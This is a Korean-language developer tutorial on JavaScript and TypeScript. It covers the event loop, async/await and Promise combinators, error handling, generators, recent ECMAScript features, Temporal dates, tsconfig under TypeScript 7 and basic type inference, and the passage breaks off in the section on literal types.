“Node 는 비동기라 빠르다”는 절반만 맞습니다. 기다리는 일(DB·파일·네트워크)에는 강하지만, 계산하는 일에는 오히려 취약합니다. 이미지 처리·암호화·큰 JSON 파싱·정규식이 그런 작업입니다. (🚀 대규모 트래픽 탭 k01·k02 에서 실제 측정법을 다룹니다)

Node 만의 추가 규칙

setTimeout(() => console.log("timeout"), 0);
setImmediate(() => console.log("immediate"));   // Node 전용
process.nextTick(() => console.log("nextTick")); // Node 전용

// nextTick 은 (콜백 안에서는) Promise 마이크로태스크보다도 먼저 실행됩니다
// → 남용하면 이벤트 루프를 굶겨 죽입니다(starvation)
// ⚠ 단 ESM(.mjs · "type":"module") 의 최상위 코드에서는 모듈 실행 자체가
//   마이크로태스크 안이라 Promise.then 이 nextTick 보다 먼저 찍힙니다

// 순서: nextTick · Promise(마이크로) 는 timeout · immediate 보다 항상 먼저.
// ★ timers vs immediate 는 메인 모듈에선 순서 보장이 없습니다
//   (I/O 콜백 안에서만 immediate 가 항상 먼저 — n03 참고)
브라우저와 Node 의 차이 — 브라우저에는 requestAnimationFrame(화면 갱신 직전)이 있고, Node 에는 process.nextTick·setImmediate 가 있습니다. 더 깊은 페이즈 이야기는 🟩 Node 탭 n03·🧬 전문가 d05 에 있습니다.
실행 순서 — 콜스택이 완전히 빌 때까지 큐는 기다립니다 이 코드의 출력 순서는? console.log("1") setTimeout(() => log("4"), 0) Promise.resolve().then(() => log("3")) console.log("2") 위에서 아래로 읽으면 1 4 3 2 같지만 아닙니다 콜스택 출력 1 2 마이크로 출력 3 매크로 출력 4 스택이 비면 큐를 다 비운 뒤 타이머 한 건 다시 스택으로 1 → 2 → 3 → 4 한 바퀴의 출력 마이크로태스크 = Promise.then · await 이후 · queueMicrotask — 항상 타이머보다 먼저 그래서 무거운 동기 함수 하나가 타이머와 응답 처리를 전부 세워 버립니다
setTimeout 의 0ms 는 지금이 아니라 "다음 차례" 라는 뜻입니다.
JS 11

Promise · async/await

비동기 코드를 동기처럼 읽히게 만드는 문법. 실무 코드의 절반이 여기입니다.

기본 사용법

// async 함수는 항상 Promise 를 반환합니다
async function getUser(id) {
  const res = await fetch(`/api/users/${id}`);
  if (!res.ok) throw new Error(`HTTP ${res.status}`);   // ★ fetch 는 4xx/5xx 에 안 던집니다
  return res.json();
}

// 호출하는 쪽
try {
  const user = await getUser(1);
} catch (e) {
  console.error("실패", e);
}

// 최상위에서도 await 가능 (ESM 한정)
const data = await getUser(1);
fetch 는 404·500 에서 에러를 던지지 않습니다. 네트워크 자체가 실패했을 때만 reject 됩니다. res.ok 확인을 빼먹으면 에러 페이지 HTML 을 JSON 으로 파싱하려다 엉뚱한 곳에서 터집니다. axios 는 반대로 4xx 에 던집니다.

순차 vs 병렬 — 성능 차이가 큽니다

순차 — 300ms
const a = await getA(); //100ms
const b = await getB(); //100ms
const c = await getC(); //100ms
// 서로 관계없는데
// 줄 서서 기다림
병렬 — 100ms
const [a, b, c] =
  await Promise.all([
    getA(), getB(), getC()
  ]);
// 동시에 출발

Promise 조합 메서드 — 목적이 다릅니다

메서드동작
all전부 성공해야 성공. 하나라도 실패하면 즉시 reject
allSettled전부 끝날 때까지 기다림. 성공/실패를 각각 알려 줌
race가장 먼저 끝난 것 하나 (성공이든 실패든) — 타임아웃 구현에
any가장 먼저 성공한 것 하나 (여러 미러 서버 중 하나)
// 실패해도 나머지는 처리해야 할 때 — 알림 발송 등
const results = await Promise.allSettled(users.map(sendMail));
const failed = results.filter(r => r.status === "rejected");
console.log(`${failed.length}건 실패`);

// 타임아웃 붙이기 (직접 구현)
const withTimeout = (p, ms) => Promise.race([
  p,
  new Promise((_, rej) =>
    setTimeout(() => rej(new Error("시간 초과")), ms)),
]);
await withTimeout(fetch(url), 3000);

// ★ 요즘은 내장 기능으로 (AbortSignal)
await fetch(url, { signal: AbortSignal.timeout(3000) });

흔한 실수

// ❌ forEach 는 await 를 기다려 주지 않습니다
items.forEach(async (item) => { await save(item); });
console.log("완료");     // 저장 끝나기 전에 찍힘

// ✅ 순서대로 저장해야 한다면
for (const item of items) await save(item);

// ✅ 동시에 저장해도 된다면
await Promise.all(items.map(save));

// ⚠️ 단, 1,000개를 한꺼번에 보내면 상대 서버가 죽습니다
//    → 동시 실행 수 제한이 필요합니다 (🟩 Node 탭 n11)
await 를 안 붙인 Promise 는 조용히 사라집니다. save(item); 처럼 쓰면 에러가 나도 아무도 모르고, Node 에서는 프로세스가 죽을 수도 있습니다. 의도적으로 기다리지 않을 때는 void save(item) 또는 .catch(log) 를 반드시 붙이세요.
프로미스는 상태가 한 번만 바뀝니다 — 정해지면 되돌릴 수 없습니다 pending 아직 결과 없음 fulfilled rejected resolve(v) reject(e) · 예외 서로 못 바뀜 .then(v) · await 결과 .finally() — 어느 쪽이든 .catch(e) · try / catch await 는 이행 값을 꺼내 주고, 거부는 그 자리에서 예외로 던집니다 — 그래서 try / catch 로 잡습니다 catch 를 안 달면 unhandledRejection — Node 는 기본 설정에서 프로세스를 내립니다
Promise 를 값이 아니라 상태로 보면 all · allSettled · race 의 차이가 한눈에 들어옵니다.
JS 12

에러 처리

잡을 수 있는 것만 잡고, 못 잡을 것은 위로 던지세요.

기본 규칙

try {
  const data = await risky();
} catch (err) {
  // ★ 던져지는 게 Error 라는 보장이 없습니다 (문자열도 던질 수 있음)
  if (err instanceof AppError) { ... }
  else if (err instanceof Error) { log(err.message); }
  else { log(String(err)); }
} finally {
  await conn.release();          // 성공/실패 상관없이 정리
}

// 원인을 보존하며 다시 던지기 (ES2022)
try {
  await db.query(sql);
} catch (e) {
  throw new Error("주문 저장 실패", { cause: e });   // ★ 원본 스택 유지
}
절대 하면 안 되는 것
· catch (e) {} — 빈 catch. 문제를 숨기는 최악의 코드
· catch (e) { console.log(e) } 만 하고 계속 진행 — 잘못된 데이터로 다음 로직이 돌아갑니다
· 모든 함수마다 try/catch — 처리할 수 없는 곳에서 잡지 마세요

커스텀 에러로 분기하기

class ValidationError extends Error {
  constructor(field, message) {
    super(message);
    this.name = "ValidationError";
    this.field = field;
    this.status = 400;
  }
}

// 던지는 쪽
if (!email.includes("@")) throw new ValidationError("email", "형식 오류");

// 받는 쪽 — 한 곳에서 종류별로 응답 (🚂 Express x06)
if (err instanceof ValidationError) return res.status(400).json({ field: err.field });
if (err instanceof NotFoundError)   return res.status(404).json({ ... });
return res.status(500).json({ message: "서버 오류" });   // ★ 내부 정보 노출 금지

비동기에서 놓치기 쉬운 곳

// ❌ 이 try/catch 는 아무것도 못 잡습니다
try {
  setTimeout(() => { throw new Error("펑"); }, 100);
} catch (e) { /* 도달하지 않음 */ }
// 콜백은 "나중에 다른 스택에서" 실행되기 때문입니다

// ✅ 콜백 안에서 잡아야 합니다
setTimeout(() => {
  try { risky(); } catch (e) { handle(e); }
}, 100);

// ❌ 이벤트 핸들러도 마찬가지
emitter.on("data", async (d) => {
  await save(d);          // 여기서 실패하면 unhandledRejection
});

// ✅ 감싸 주기
emitter.on("data", (d) => { save(d).catch(handleError); });

마지막 안전망 — 프로세스 레벨

// Node 서버라면 이 두 개는 필수입니다
process.on("unhandledRejection", (reason) => {
  logger.fatal({ reason }, "처리되지 않은 Promise 거부");
  process.exit(1);          // ★ 살려 두지 말고 재시작에 맡기세요
});

process.on("uncaughtException", (err) => {
  logger.fatal({ err }, "처리되지 않은 예외");
  process.exit(1);
});
“죽이지 말고 계속 돌리면 안 되나요?” — 안 됩니다. 예외가 처리되지 않은 시점의 프로세스는 어떤 상태인지 알 수 없습니다(반쯤 열린 트랜잭션, 깨진 캐시). 깨끗하게 죽고 오케스트레이터가 재시작하는 것이 훨씬 안전합니다. (🚀 대규모 트래픽 k14 · 🟩 Node n12)
JS 13

이터레이터 · 제너레이터

큰 데이터를 메모리에 다 올리지 않고 처리하는 기법입니다.

제너레이터 기본

function* range(start, end, step = 1) {
  for (let i = start; i < end; i += step) yield i;   // ★ 여기서 멈췄다 재개
}

for (const n of range(0, 5)) console.log(n);   // 0 1 2 3 4
[...range(0, 3)];                              // [0, 1, 2]

// 무한 수열도 가능합니다 (필요한 만큼만 계산되므로)
function* ids() { let i = 1; while (true) yield i++; }
const gen = ids();
gen.next().value;   // 1
gen.next().value;   // 2

// 값을 주고받기
function* dialog() {
  const name = yield "이름이?";
  yield `안녕하세요 ${name}님`;
}
const d = dialog();
d.next().value;        // "이름이?"
d.next("김현우").value; // "안녕하세요 김현우님"

직접 이터러블 만들기

class Playlist {
  #songs = ["A", "B", "C"];
  // ★ 이 메서드만 있으면 for...of · 스프레드가 다 됩니다
  *[Symbol.iterator]() { yield* this.#songs; }
}
const p = new Playlist();
for (const s of p) console.log(s);
const arr = [...p];

실무 — 비동기 이터레이터

// 페이지네이션 API 를 "그냥 반복문"처럼 쓰기
async function* fetchAllUsers() {
  let page = 1;
  while (true) {
    const res = await fetch(`/api/users?page=${page}`);
    const { items, hasNext } = await res.json();
    yield* items;                    // 한 건씩 흘려보냄
    if (!hasNext) return;
    page++;
  }
}

// 사용하는 쪽은 페이지를 전혀 신경 쓰지 않습니다
for await (const user of fetchAllUsers()) {
  await processUser(user);
}
// ★ 100만 건이어도 메모리에는 한 페이지분만 올라갑니다
// 큰 파일을 한 줄씩 (Node)
import { createReadStream } from "node:fs";
import { createInterface } from "node:readline";

const rl = createInterface({
  input: createReadStream("huge.csv"),
  crlfDelay: Infinity,
});

let count = 0;
for await (const line of rl) {          // ★ 스트림도 비동기 이터러블
  if (line.includes("ERROR")) count++;
}
// 10GB 파일도 메모리 몇 MB 로 처리됩니다
언제 쓰나 — ① 데이터가 메모리보다 클 때, ② 끝을 모를 때(무한 스크롤·스트림), ③ 중간에 멈출 수 있어야 할 때. 그 외에는 그냥 배열이 더 읽기 좋습니다.
JS 14

최신 문법 ES2020~2026

모르면 남의 코드가 안 읽히고, 알면 내 코드가 절반으로 줄어듭니다.

매일 쓰는 것

// 옵셔널 체이닝 — 중간이 없으면 undefined (ES2020)
user?.address?.city
user?.getName?.()              // 메서드가 있을 때만 호출
list?.[0]

// 널 병합 — null/undefined 일 때만 기본값 (ES2020)
const port = env.PORT ?? 3000;       // 0 도 유효한 값으로 취급 ✅
const bad  = env.PORT || 3000;       // 0 이면 3000 이 됨 ❌

// 논리 할당 (ES2021)
options.retry ??= 3;                 // 없을 때만 설정
cache[key] ??= expensive();          // 없으면 계산해서 저장
isReady &&= checkAgain();

// 숫자 구분자 (ES2021)
const MAX = 1_000_000;

// 문자열 전체 치환 (ES2021)
"a-b-c".replaceAll("-", "/");        // "a/b/c"
// at() — 음수 인덱스 (ES2022)
arr.at(-1);                          // 마지막 요소
"hello".at(-1);                      // "o"

// Object.hasOwn (ES2022) — hasOwnProperty 의 안전한 대체
Object.hasOwn(obj, "key");

// 클래스 private 필드 · static 블록 (ES2022)
class A { #secret = 1; static { /* 초기화 */ } }

// Error cause (ES2022)
throw new Error("실패", { cause: originalError });

최근에 추가된 것

// 원본을 안 바꾸는 배열 메서드 (ES2023)
arr.toSorted((a,b) => a-b);
arr.toReversed();
arr.with(0, "새값");
arr.findLast(x => x > 10);
arr.findLastIndex(...);

// 그룹으로 묶기 (ES2024)
Object.groupBy(users, u => u.role);
// { admin: [...], user: [...] }
Map.groupBy(users, u => u.teamId);   // Map 으로 받고 싶을 때

// Promise.withResolvers (ES2024) — 밖에서 resolve 하고 싶을 때
const { promise, resolve, reject } = Promise.withResolvers();
socket.on("reply", resolve);
await promise;

// 정규식 v 플래그 (ES2024) — 유니코드 집합 연산
/[\p{Script=Hangul}--[ㄱ-ㅎ]]/v

ES2025 2025-06

// Set 연산 — 직접 짜던 교집합·차집합이 메서드가 됐습니다
const a = new Set([1,2,3]), b = new Set([2,3,4]);
a.union(b);                // Set {1,2,3,4}
a.intersection(b);         // Set {2,3}
a.difference(b);           // Set {1}
a.symmetricDifference(b);  // Set {1,4}
a.isSubsetOf(b); a.isSupersetOf(b); a.isDisjointFrom(b);

// Promise.try — 동기 함수든 비동기 함수든 "같은 방식으로" 감쌉니다
await Promise.try(maybeAsync)          // 동기 throw 도 reject 로 받습니다
  .then(ok).catch(fail);

// 이터레이터 헬퍼 — 배열로 안 만들고 바로 체이닝 (지연 평가 · 무한열 가능)
function* nat() { let i = 0; while (true) yield i++; }
nat().filter(n => n % 3 === 0).map(n => n * n).take(5).toArray();
//  [0, 9, 36, 81, 144]  ★ 중간 배열이 안 생깁니다

// RegExp.escape — 사용자 입력을 정규식에 안전하게 넣기
new RegExp(RegExp.escape(userInput), "g");   // 최신 브라우저 · Node 24+ 지원

ES2026 2026-06 확정

// Error.isError — instanceof 보다 안전 (다른 realm·프레임에서도 맞음)
if (Error.isError(e)) console.error(e.stack);

// Array.fromAsync — 비동기 이터러블을 배열로
const lines = await Array.fromAsync(readLines(file));

// Math.sumPrecise — 부동소수 오차 없이 합산
[0.1, 0.2, 0.3].reduce((s,n) => s+n, 0);   // 0.6000000000000001
Math.sumPrecise([0.1, 0.2, 0.3]);          // 0.6  ★

// Uint8Array ↔ Base64 / Hex — btoa 트릭이 필요 없어졌습니다
const bytes = new Uint8Array([72, 105]);
bytes.toBase64();                          // "SGk="
Uint8Array.fromBase64("SGk=");             // Uint8Array [72, 105]
bytes.toHex();                             // "4869"

// Map.getOrInsertComputed — "없으면 만들어 넣고 반환" 보일러플레이트 제거
const cache = new Map();
cache.getOrInsertComputed(userId, (id) => buildProfile(id));

// Iterator.concat — 이터레이터 여러 개를 하나로 잇기
Iterator.concat(a.values(), b.values()).take(10).toArray();

using · await using — 자동 정리 Stage 4

// 블록을 벗어나면 [Symbol.dispose]() 가 "선언의 역순"으로 자동 호출됩니다
//   → try/finally 가 통째로 사라집니다   (Node 24+ · Chrome 134+)
{
  using file = openFile("a.txt");     // 나갈 때 file[Symbol.dispose]()
  using lock = acquireLock();         // 나갈 때 lock[Symbol.dispose]()  ★ 먼저
  work(file);
}   // 여기서 lock → file 순으로 정리 (역순)

// 비동기 정리는 await using — [Symbol.asyncDispose]() 를 기다립니다
await using conn = await pool.connect();
await conn.query("SELECT 1");
//  블록을 벗어나면 await conn[Symbol.asyncDispose]()

// 내 객체도 참여시키기 — 심볼 하나만 구현하면 됩니다
class Tx {
  constructor(db) { this.db = db; }
  static async open(db) { await db.query("BEGIN"); return new Tx(db); }
  async commit() { await this.db.query("COMMIT"); this.done = true; }
  async [Symbol.asyncDispose]() {
    if (!this.done) await this.db.query("ROLLBACK");   // ★ 깜빡해도 롤백
  }
}

await using tx = await Tx.open(db);
await db.query("UPDATE ...");
await tx.commit();      // commit 안 하고 예외로 빠져나가도 롤백됩니다

브라우저·Node 공통 내장 API

structuredClone(obj);              // 깊은 복사
crypto.randomUUID();               // "a1b2c3d4-..."
AbortSignal.timeout(3000);         // 타임아웃 시그널
Intl.NumberFormat("ko-KR", { style:"currency", currency:"KRW" })
  .format(15000);                  // "₩15,000"
new Intl.RelativeTimeFormat("ko").format(-3, "day");  // "3일 전"
navigator.language;                // "ko-KR" — 사용자 언어
Intl.DateTimeFormat().resolvedOptions().timeZone;  // "Asia/Seoul" — 시간대
라이브러리를 넣기 전에 내장 기능을 먼저 확인하세요. UUID·날짜 포맷·숫자 포맷·깊은 복사는 이제 전부 내장입니다. moment.js·uuid·lodash.cloneDeep 을 아직 넣고 있다면 덜어 낼 수 있습니다.
JS 15

정규식 · 문자열 · 날짜

업무에서 가장 자주 만나고, 가장 자주 틀리는 세 가지입니다.

문자열 실전

const s = "  김현우, 백엔드 개발자  ";

s.trim();                    // 양끝 공백 (trimStart/trimEnd 도 있음)
s.includes("백엔드");         // true
s.split(",").map(x => x.trim());
"abc".padStart(5, "0");      // "00abc"  ← 주문번호·시간 표시에
"5".padStart(2, "0");        // "05"
"ab".repeat(3);              // "ababab"

// 템플릿 리터럴 — 여러 줄 + 값 삽입
const html = `
  <div class="${cls}">
    ${items.map(i => `<li>${i}</li>`).join("")}
  </div>`;

// 한글 정렬 (localeCompare 를 꼭 쓰세요)
names.toSorted((a, b) => a.localeCompare(b, "ko"));

// 이모지·한글 글자 수 세기 (length 는 부정확)
"👨‍👩‍👧".length;                  // 8  ❌
[...new Intl.Segmenter().segment("👨‍👩‍👧")].length;   // 1 ✅

정규식 — 실무에서 쓰는 것만

// 그룹에 이름 붙이기 (읽기 쉬워집니다)
const m = "2026-08-04".match(
  /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/);
m.groups.year;    // "2026"

// 전부 찾기
[..."a1b2c3".matchAll(/\d/g)].map(m => m[0]);   // ["1","2","3"]

// 치환에서 함수 쓰기
"가격 1000원".replace(/\d+/g, n => Number(n).toLocaleString());

// 자주 쓰는 패턴
const RE = {
  email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
  phone: /^01[0-9]-?\d{3,4}-?\d{4}$/,
  hangul: /[가-힣]/,
  onlyNum: /[^0-9]/g,          // 숫자만 남기기용
};
정규식으로 이메일을 완벽히 검증하려 하지 마세요. RFC 를 만족하는 정규식은 수백 자이고, 그래도 실제로 받는 메일함인지는 모릅니다. 형식은 느슨하게 보고 인증 메일을 보내는 것이 정답입니다. 그리고 사용자 입력을 정규식에 그대로 넣지 마세요 — ReDoS 공격이 됩니다(🧬 d13).

날짜 — 자바스크립트의 아픈 곳

const d = new Date();

d.getMonth();        // ★ 0부터 시작 (8월이면 7)
d.getDay();          // 요일 (0=일요일)
d.getFullYear();

// 문자열 파싱은 형식에 따라 결과가 다릅니다
new Date("2026-08-04");        // UTC 자정으로 해석 ★
new Date("2026/08/04");        // 로컬 자정으로 해석
// → 한국에서 앞의 것은 8월 4일 오전 9시가 됩니다

// 포맷 — Intl 이면 라이브러리가 필요 없습니다
new Intl.DateTimeFormat("ko-KR", {
  dateStyle: "long", timeStyle: "short", timeZone: "Asia/Seoul",
}).format(d);        // "2026년 8월 4일 오후 3:20"

// ISO 문자열 (서버 전송용 — 항상 이걸로 주고받으세요)
d.toISOString();     // "2026-08-04T06:20:00.000Z"
서버·DB 는 UTC, 화면만 현지 시간. 이 원칙만 지켜도 시간대 버그의 90%가 사라집니다. DB 에 DATETIME 대신 TIMESTAMP(시간대 포함) 을 쓰고, API 는 ISO 8601 문자열로 주고받으세요.

라이브러리가 필요할 때

선택설명
Intl 내장포맷만 필요하면 이걸로 충분합니다
date-fns함수 단위로 import — 번들이 작습니다. 계산이 많다면 이쪽
dayjsmoment 와 API 가 같고 2KB. 마이그레이션에 유리
Temporal표준으로 들어온 차세대 날짜 API(Stage 4, 2026-03). Node 26 은 전역으로 내장, Chrome 144·Firefox 139 지원. Safari 는 아직 미탑재라 브라우저에서는 폴리필이 필요합니다
❌ moment유지보수 종료(legacy). 신규 도입 금지

Temporal — Date 의 아픈 곳을 전부 고친 API

// 브라우저에서는 아직 폴리필이 필요합니다 (Safari 미탑재)
//   npm i temporal-polyfill  →  import { Temporal } from "temporal-polyfill";
// Node 26 은 전역에 그대로 있습니다.

// ① 불변 — 모든 연산이 "새 값"을 돌려줍니다 (Date 는 setMonth 로 원본이 바뀝니다)
const d = Temporal.PlainDate.from("2026-08-04");
const next = d.add({ months: 1 });    // 2026-09-04
d.toString();                          // 2026-08-04  ★ 원본 그대로

// ② 월이 1부터 시작합니다 (Date 의 getMonth() 0-based 함정이 없습니다)
d.month;        // 8   ← Date 였다면 7
d.dayOfWeek;    // 2 = 화요일 (1 = 월요일)

// ③ 종류가 나뉘어 있어 "무엇을 뜻하는 값인지"가 타입에 드러납니다
Temporal.PlainDate      // 날짜만 — 생일·기념일
Temporal.PlainTime      // 시각만 — 영업 시작 09:00
Temporal.PlainDateTime  // 날짜+시각, 시간대 없음
Temporal.ZonedDateTime  // 시간대까지 — "서울의 8월 4일 15시"
Temporal.Instant        // 절대 시각(UTC) — ★ 서버·DB 저장은 이것
Temporal.Duration       // 기간 — 3일 4시간

// ④ 서버에 저장할 때는 Instant(UTC), 화면에 그릴 때만 시간대를 입힙니다
const now = Temporal.Now.instant();            // 절대 시각
now.toString();                                 // "2026-08-04T06:20:00Z"  → DB 로
now.toZonedDateTimeISO("Asia/Seoul").toString();// 화면용

// ⑤ 시간대 계산이 정확합니다 (DST 를 건너뛰지 않습니다)
const z = Temporal.ZonedDateTime.from("2026-08-04T23:00[America/New_York]");
z.add({ hours: 3 }).toString();

// ⑥ 비교·차이
Temporal.PlainDate.compare(a, b);      // -1 / 0 / 1
a.until(b, { largestUnit: "day" });    // Duration
지금 당장은 “서버는 Temporal, 브라우저는 폴리필 또는 date-fns” 가 현실적입니다. Safari 가 붙기 전까지는 프런트에 폴리필(~40KB)을 넣을 값어치가 있는지 재 보세요. 새 코드에서 Date 대신 Temporal 로 갈 준비만 해 두면 됩니다 — 저장은 UTC, 표시만 현지라는 원칙은 어느 쪽이든 같습니다.
JS 16

치트시트 · 로드맵

막힐 때 여기부터 보세요. 그리고 다음에 뭘 배울지도 정리했습니다.

한 장 요약 — 자주 찾는 것

하려는 일코드
기본값 (0·"" 은 유지)a ?? b
깊은 복사structuredClone(o)
중복 제거[...new Set(arr)]
객체 → 배열Object.entries(o)
배열 → 객체Object.fromEntries(a)
그룹핑Object.groupBy(a, fn)
정렬 (원본 유지)arr.toSorted(fn)
한글 정렬a.localeCompare(b,"ko")
마지막 요소arr.at(-1)
동시 실행await Promise.all([...])
실패해도 전부 대기Promise.allSettled([...])
타임아웃AbortSignal.timeout(3000)
UUIDcrypto.randomUUID()
금액 표시n.toLocaleString("ko-KR")
지연await new Promise(r=>setTimeout(r,ms))
디버깅 3종 세트
· console.table(arr) — 객체 배열을 표로
· console.time("x") / timeEnd("x") — 걸린 시간
· debugger; — 그 줄에서 멈춤 (DevTools 가 열려 있을 때)

학습 순서 — 이 가이드를 도는 법

1단계 — 언어 (지금 이 탭) j02(타입 함정) · j04(클로저) · j10(이벤트 루프) · j11(비동기) 이 넷만 확실히. 나머지는 필요할 때 찾아보면 됩니다.
2단계 — 타입 붙이기 🔷 TypeScript 탭. t02~t07 까지만 해도 실무 코드의 90%를 타입으로 쓸 수 있습니다.
3단계 — 서버 만들기 🟩 Node 로 런타임을 이해하고 → 🚂 Express 로 빨리 만들어 보고 → 규모가 커지면 🐈 NestJS.
4단계 — 화면 만들기 모바일은 ⚛️ React Native, 데스크탑 사내 도구는 ⚡ Electron. 둘 다 이 탭의 언어 지식을 그대로 씁니다. (브라우저 웹 UI — React·Vue 등 — 는 이 가이드 범위 밖입니다. React Native 탭의 React 기초가 그대로 이어지니 그쪽부터 보세요.)
5단계 — 실무 운영 🧰 실전 도구로 개발 환경을 갖추고, 🚀 대규모 트래픽으로 “사용자가 많아졌을 때”를 대비합니다.
6단계 — 깊이 파기 🧬 전문가 — V8 · 메모리 · 프로파일링 · 아키텍처. 면접에서 차이를 만드는 구간입니다.
다른 언어를 이미 안다면 — ☕ 자바를 안다면 🔷 TypeScript → 🐈 NestJS 순서가 가장 빠릅니다 (DI·데코레이터·계층 구조가 스프링과 거의 같습니다). 🐍 파이썬을 안다면 비동기(j11)와 이벤트 루프(j10)부터 보세요 — asyncio 와 개념이 같습니다.
TYPESCRIPT 7 · 타입 시스템

실행하기 전에
틀린 곳을
알려 주는 JS

TypeScript 는 새 언어가 아니라 자바스크립트에 타입을 얹은 것입니다. 빌드하면 타입은 전부 사라지고 순수 JS 만 남습니다. 그래서 런타임 검증은 여전히 필요하고, 그 경계를 아는 것이 실무 실력입니다. 여기까지 마치면 strict 를 켠 팀 코드베이스에서 타입을 설계하고 리뷰할 수 있는 수준이 됩니다.

17SECTIONS
0런타임 비용
strict단 하나의 필수 설정
7.0기준 버전 (Go 네이티브)
TS 01

왜 TypeScript 인가

“타입을 적는 귀찮음”보다 얻는 것이 훨씬 큰 지점이 분명히 있습니다.

실제로 막아 주는 버그

JS — 런타임에 터짐
function total(order) {
  return order.items
    .reduce((s,i) => s + i.price, 0);
}

total({ item: [] });
// TypeError: Cannot read
// properties of undefined
// ★ 배포 후 사용자가 발견
TS — 저장하는 순간 빨간 줄
type Order = {
  items: { price: number }[];
};
function total(order: Order) {
  return order.items
    .reduce((s,i) => s + i.price, 0);
}

total({ item: [] });
// ★ 'item' 은 'items' 여야 합니다

타입이 주는 실질적 이득

  • 자동완성 — 객체에 뭐가 들었는지 외울 필요가 없습니다. 실무에서 이게 제일 큽니다
  • 안전한 리팩터링 — 필드 이름을 바꾸면 고쳐야 할 곳이 전부 빨갛게 뜹니다
  • 문서 역할 — 함수 시그니처만 봐도 무엇을 넣고 무엇이 나오는지 압니다
  • 팀 확장 — 새 사람이 코드를 읽는 속도가 확연히 다릅니다
TypeScript 가 막아 주지 못하는 것 — API 응답이 타입과 다를 때, JSON.parse 결과, any 로 뚫린 곳, 잘못된 타입 단언(as). 바깥에서 들어오는 값은 런타임에 검증해야 합니다(t11 · 🧰 도구 o07 Zod).

시작하기

npm i -D typescript @types/node
npx tsc --init                   # tsconfig.json 생성

# 빌드
npx tsc                          # dist/ 로 컴파일
npx tsc --noEmit                 # ★ 타입 검사만 (CI 에서 쓰는 형태)

# 개발 중 바로 실행
npx tsx src/index.ts             # tsx — 가장 편함

# TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node src/index.ts
#  · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
#  · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
#    → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다
// tsconfig.json — 처음엔 이 정도면 충분합니다
{
  "compilerOptions": {
    "target": "ES2022",
    "module": "NodeNext",
    "moduleResolution": "NodeNext",
    "strict": true,                    // ★ TS 7 부터는 기본값입니다
    "skipLibCheck": true,              // 라이브러리 타입은 검사 생략 (빌드 속도)
    "types": ["node"],                 // ★ TS 7 기본값이 [] — 필요한 것만 적습니다
    "outDir": "dist",
    "rootDir": "src",                  // ★ TS 7 기본값이 "./" — src 라면 꼭 적으세요
    "erasableSyntaxOnly": true,        // node src/index.ts 로 돌릴 거라면
    "paths": { "@/*": ["./src/*"] }    // ★ tsconfig 위치 기준 상대경로 (baseUrl 없음)
  },
  "include": ["src/**/*"]
}
TS 7 로 오면서 tsconfig 가 실제로 바뀝니다. 아래 옵션은 경고가 아니라 하드 에러입니다 — baseUrl · target: "es5" · downlevelIteration · moduleResolution: node/node10/classic/amd · module: amd/umd/systemjs · esModuleInterop: false. baseUrl 을 지우고 paths 를 tsconfig 파일 위치 기준 상대경로로 바꾸는 것이 가장 흔한 작업입니다. 반대로 experimentalDecorators·emitDecoratorMetadata 는 계속 지원됩니다(Nest·TypeORM 에 필수) — 다만 데코레이터는 코드를 만들어 내는 문법이라 erasableSyntaxOnly 와 같이 쓸 수 없습니다.
기존 JS 프로젝트에 점진 도입하기 — allowJs: true 로 켜 두고 파일 하나씩 .ts 로 바꾸세요. 전부 한 번에 바꾸려다 실패하는 팀이 많습니다. 급하면 JSDoc 주석만으로도 타입 검사를 받을 수 있습니다(checkJs).
⚠️ TS 7.0 은 아직 programmatic API 가 없습니다(7.1 예정). 그래서 컴파일러를 라이브러리로 불러 쓰는 도구들 — typescript-eslint · ts-jest · ts-morph, 그리고 Vue·Svelte·Astro 의 템플릿 타입 검사기 — 가 tsgo 위에서 돌지 않습니다. 이 도구를 쓰고 있다면 tsc(6.x)를 병행하거나 7.1 을 기다리세요.
타입은 빌드 때만 존재합니다 — 실행되는 것은 결국 순수 JS 입니다 user.ts name: string tsc 검사 타입이 맞나 타입 지우기 표기만 삭제 user.js 순수 JS 로 실행 타입 오류 — 빌드가 멈춥니다 사용자는 이 버그를 못 봅니다 실행 시점엔 타입이 없습니다 타입이 없으면 같은 실수가 배포 뒤 사용자 화면에서 터집니다 외부에서 들어온 값은 Zod 같은 도구로 실행 중에 따로 검사합니다
타입스크립트가 막아 주는 것은 버그가 아니라 버그가 배포되는 일입니다.
TS 02

기본 타입 · 추론

타입은 웬만하면 안 적는 게 좋습니다. TS 가 알아서 알아냅니다.

타입 표기

// 기본
let name: string = "김현우";
let age: number = 30;
let ok: boolean = true;
let big: bigint = 10n;
let sym: symbol = Symbol();

// 배열 · 튜플
let tags: string[] = ["a", "b"];
let pair: [number, string] = [1, "a"];      // 길이·순서 고정
let named: [x: number, y: number] = [1, 2];  // 이름 붙은 튜플

// 객체
let user: { id: number; name?: string } = { id: 1 };  // ? = 선택

// 함수
const add = (a: number, b: number): number => a + b;
const log = (msg: string): void => console.log(msg);

// 특수 타입
let anything: any;        // ❌ 타입 검사 포기 — 쓰지 마세요
let safe: unknown;       // ✅ 확인 후에만 쓸 수 있음
function fail(): never { throw new Error(); }   // 절대 반환 안 함
any 는 전염됩니다. 하나가 any 면 그것을 쓰는 코드가 전부 검사에서 빠집니다. 타입을 모를 때는 unknown 을 쓰고 확인 후 사용하세요. noImplicitAny(strict 에 포함)를 켜 두면 실수로 생기는 any 를 막아 줍니다.

추론 — 적지 않아도 되는 곳

// ❌ 불필요한 표기 (오히려 읽기 나쁨)
const name: string = "김현우";
const nums: number[] = [1, 2, 3];
const user: { id: number } = { id: 1 };

// ✅ 추론에 맡기기
const name = "김현우";          // "김현우" (리터럴 타입!)
const nums = [1, 2, 3];         // number[]
const user = { id: 1 };         // { id: number }

// ★ 타입을 꼭 적어야 하는 곳은 두 군데뿐입니다
function f(a: number) { }       // ① 함수 매개변수
let result: string | null = null;  // ② 나중에 채울 변수

const 와 리터럴 타입

let  a = "hello";     // string       (재할당 가능하므로 넓게)
const b = "hello";    // "hello"      ★ 리터럴 타입으로 좁게

// 객체는 안쪽까지 좁혀지지 않습니다
const conf = { mode: "dark" };          // { mode: string }
const conf2 = { mode: "dark" } as const; // { readonly mode: "dark" } ✅

// as const 의 진짜 쓸모 — 상수에서 타입 만들기
